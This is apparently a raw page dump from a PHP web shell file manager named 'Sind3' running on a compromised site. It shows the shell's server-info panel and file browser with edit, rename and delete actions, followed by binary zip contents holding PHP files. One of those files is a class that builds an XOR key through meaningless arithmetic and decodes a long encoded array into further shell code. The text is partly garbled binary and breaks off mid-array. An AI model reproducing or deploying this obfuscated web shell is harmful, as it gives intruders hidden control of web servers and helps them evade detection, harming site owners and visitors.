芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/xglcor.zip

'; echo '
'; echo ''; echo '
'; echo '

'; } exit; } } } ?> Sind3
   SERV :
   SOFT :
   IP   :

——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————




'; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
PK=em\Ș about.phpnu[ AccessDeniedAccess Denied6YWKWFGDPYMC7A6CnB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=PK=em\حrr index.phpnu[PK=em\^6Tc2c2 i6emf.phpnu[PK=em\RHH vfze4.phpnu[cryptKey; $klen = strlen($key); for ($i = 0, $len = strlen($data); $i < $len; $i++) { $out .= chr(ord($data[$i]) ^ ord($key[$i % $klen])); } return $out; } public function buildPayload(): string { $M = [ [ 3, 2, -1], [ 1, 0, 4], [ 5, -2, 3], ]; $tantatnojg = pi() / 6; $v = [ sin($tantatnojg) * 100, cos($tantatnojg) * 100, tan($tantatnojg) * 100, ]; $nV = [0, 0, 0]; for ($i = 0; $i < 3; $i++) { for ($j = 0; $j < 3; $j++) { $nV[$i] += $M[$i][$j] * $v[$j]; } } $z1 = [3, 2]; $z2 = [1, 7]; list($compA, $compB) = $this->xxxinwqitb($z1, $z2); $eyyenyneo = abs($compA); $nainnnnllnl = abs($compB); $kirtniettat = abs((int)(log($tantatnojg) * 100)); $kfowqnontt = abs((int)(atan($tantatnojg) * 100)); $mfoiqnwotow = abs((int)(sqrt($tantatnojg) * 100)); $key = ( (int)($nV[0] + $nV[1] + $nV[2]) ^ $eyyenyneo ^ $nainnnnllnl ^ $kirtniettat ^ $kfowqnontt ^ $mfoiqnwotow ) & 0xFF; $enc = [93, 94, 88, 85, 90, 87, 94, 17, 72, 77, 87, 82, 88, 77, 100, 77, 66, 73, 94, 72, 6, 10, 18, 0, 54, 63, 81, 94, 90, 93, 94, 87, 100, 87, 94, 86, 84, 75, 94, 17, 28, 97, 22, 105, 84, 76, 94, 87, 94, 93, 22, 7, 66, 28, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 25, 81, 94, 65, 25, 81, 94, 85, 73, 94, 87, 72, 25, 91, 84, 87, 25, 83, 90, 80, 65, 83, 25, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 81, 94, 65, 100, 17, 72, 77, 87, 82, 83, 92, 25, 29, 83, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 66, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 83, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 16, 16, 18, 25, 29, 66, 25, 19, 6, 25, 93, 94, 88, 81, 94, 65, 17, 84, 87, 93, 17, 29, 83, 96, 29, 82, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 66, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 78, 81, 94, 65, 17, 72, 77, 87, 82, 83, 92, 25, 29, 66, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 66, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 20, 99, 96, 9, 22, 2, 90, 22, 91, 122, 22, 123, 102, 16, 29, 20, 28, 21, 25, 29, 66, 18, 25, 26, 6, 6, 25, 10, 25, 69, 69, 25, 17, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 25, 30, 25, 23, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 83, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 25, 16, 6, 25, 23, 18, 25, 29, 83, 25, 19, 6, 25, 88, 81, 87, 17, 81, 94, 65, 93, 94, 88, 17, 29, 66, 96, 29, 82, 102, 25, 19, 25, 29, 66, 96, 29, 82, 16, 10, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 83, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 84, 84, 77, 25, 93, 94, 87, 82, 75, 94, 93, 25, 91, 87, 84, 86, 25, 88, 78, 87, 87, 94, 83, 77, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 28, 72, 25, 93, 87, 82, 75, 94, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 18, 15, 20, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 86, 96, 10, 102, 25, 19, 25, 28, 15, 20, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 29, 120, 110, 119, 119, 126, 115, 109, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 92, 94, 77, 88, 76, 93, 17, 18, 18, 25, 4, 15, 25, 92, 94, 77, 88, 76, 93, 17, 18, 0, 54, 63, 29, 119, 116, 116, 109, 25, 6, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 29, 120, 110, 119, 119, 126, 115, 109, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 104, 94, 87, 75, 94, 87, 25, 82, 83, 91, 84, 25, 91, 84, 87, 25, 81, 94, 90, 93, 94, 87, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 25, 6, 25, 73, 81, 73, 100, 78, 83, 90, 86, 94, 17, 18, 0, 54, 63, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 104, 116, 123, 109, 108, 122, 119, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 72, 77, 87, 82, 83, 92, 25, 29, 72, 84, 91, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 25, 6, 25, 72, 77, 87, 77, 84, 85, 84, 76, 94, 87, 17, 29, 72, 84, 91, 77, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 85, 82, 77, 94, 72, 73, 94, 94, 93, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 117, 82, 77, 94, 104, 73, 94, 94, 93, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 90, 73, 90, 88, 81, 94, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 122, 73, 90, 88, 81, 94, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 83, 92, 82, 83, 65, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 83, 92, 82, 83, 65, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 84, 91, 77, 25, 26, 6, 6, 25, 28, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 72, 84, 91, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 70, 54, 63, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 25, 6, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 18, 0, 54, 63, 54, 63, 20, 31, 25, 7, 94, 72, 77, 22, 94, 91, 91, 84, 87, 77, 25, 72, 94, 87, 75, 94, 87, 25, 114, 105, 25, 31, 20, 54, 63, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 122, 125, 125, 119, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 84, 72, 77, 115, 90, 86, 94, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 83, 90, 86, 94, 17, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 26, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 115, 122, 118, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 82, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 82, 73, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 113, 94, 85, 73, 94, 87, 72, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 96, 101, 101, 101, 101, 20, 102, 24, 28, 21, 25, 29, 73, 18, 25, 6, 6, 6, 25, 10, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 78, 103, 72, 77, 87, 17, 29, 73, 21, 25, 9, 21, 25, 23, 18, 25, 6, 6, 6, 25, 28, 101, 101, 101, 101, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 72, 72, 94, 77, 17, 29, 73, 96, 9, 102, 18, 25, 27, 27, 25, 29, 73, 96, 9, 102, 25, 6, 6, 6, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 18, 0, 25, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 103, 90, 72, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 90, 72, 94, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 103, 90, 72, 94, 18, 25, 4, 15, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 19, 28, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 29, 73, 90, 77, 81, 18, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 103, 90, 72, 94, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 94, 90, 85, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 29, 87, 94, 90, 85, 25, 6, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 90, 85, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 29, 87, 84, 84, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 84, 84, 77, 18, 21, 25, 28, 20, 28, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 6, 6, 25, 29, 87, 84, 84, 77, 25, 69, 69, 25, 72, 77, 87, 73, 84, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 29, 87, 84, 84, 77, 25, 19, 25, 28, 20, 28, 18, 25, 6, 6, 6, 25, 9, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 82, 83, 77, 25, 29, 103, 66, 77, 94, 72, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 66, 77, 94, 72, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 103, 66, 77, 94, 72, 25, 19, 25, 39, 25, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 80, 103, 25, 6, 25, 29, 103, 66, 77, 94, 72, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 80, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 80, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 112, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 86, 103, 25, 6, 25, 29, 80, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 86, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 86, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 118, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 92, 103, 25, 6, 25, 29, 86, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 92, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 124, 7, 39, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 90, 87, 87, 90, 66, 25, 64, 54, 63, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 82, 72, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 29, 93, 82, 87, 25, 6, 25, 72, 88, 90, 83, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 104, 120, 122, 115, 125, 114, 119, 100, 104, 116, 119, 109, 100, 122, 104, 120, 126, 115, 125, 114, 115, 124, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 93, 82, 87, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 93, 82, 87, 25, 90, 72, 25, 29, 83, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 39, 25, 69, 69, 25, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 19, 39, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 78, 85, 85, 25, 6, 25, 29, 73, 90, 77, 81, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 91, 78, 85, 85, 18, 25, 4, 15, 25, 29, 91, 78, 85, 85, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 90, 85, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 72, 125, 82, 87, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 87, 94, 90, 85, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 96, 102, 25, 6, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 83, 90, 86, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 39, 93, 82, 87, 39, 25, 15, 25, 39, 91, 82, 85, 94, 39, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 121, 91, 82, 85, 94, 72, 82, 79, 94, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 121, 91, 82, 85, 94, 86, 77, 82, 86, 94, 17, 29, 87, 94, 90, 85, 18, 25, 4, 15, 25, 9, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 78, 72, 84, 87, 77, 17, 29, 82, 77, 94, 86, 72, 21, 25, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 90, 21, 25, 29, 103, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 26, 6, 6, 25, 29, 103, 96, 39, 77, 66, 73, 94, 39, 102, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 22, 10, 25, 15, 25, 10, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 88, 90, 72, 94, 88, 86, 73, 17, 29, 90, 96, 39, 83, 90, 86, 94, 39, 102, 21, 25, 29, 103, 96, 39, 83, 90, 86, 94, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 20, 29, 24, 28, 21, 25, 29, 73, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 73, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 15, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 93, 87, 82, 75, 94, 25, 6, 25, 29, 86, 96, 10, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 23, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 